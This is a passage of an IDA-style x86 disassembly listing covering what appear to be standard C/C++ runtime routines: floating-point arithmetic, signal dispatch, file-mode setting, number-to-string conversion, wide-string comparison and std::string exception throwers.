loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC004
		mov	eax, offset dword_4DC004
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC000
		mov	eax, offset dword_4DC000
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC008
		mov	eax, offset dword_4DC008
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DBFFC
		mov	eax, offset dword_4DBFFC


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBE9C
		and	dword_4DBE9C, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4CC
		mov	dword_43D4CC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4C0
		mov	ecx, dword_43D4C4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D450h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4CC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBE9C, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4CC, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D44C, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDDC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDDC, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D828
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D988
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: ___:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: ___:00427C94o
					; ___:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: ___:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: ___:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: ___:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: ___:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: ___:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: ___:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4262F6	proc near		; DATA XREF: ___:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: ___:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: ___:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; ___:00415771p ...
		jmp	near ptr 71AB1B7Bh
sub_426350	endp

; ---------------------------------------------------------------------------
		db 9

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		nop
		jmp	near ptr 288209Bh
sub_426356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: ___:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
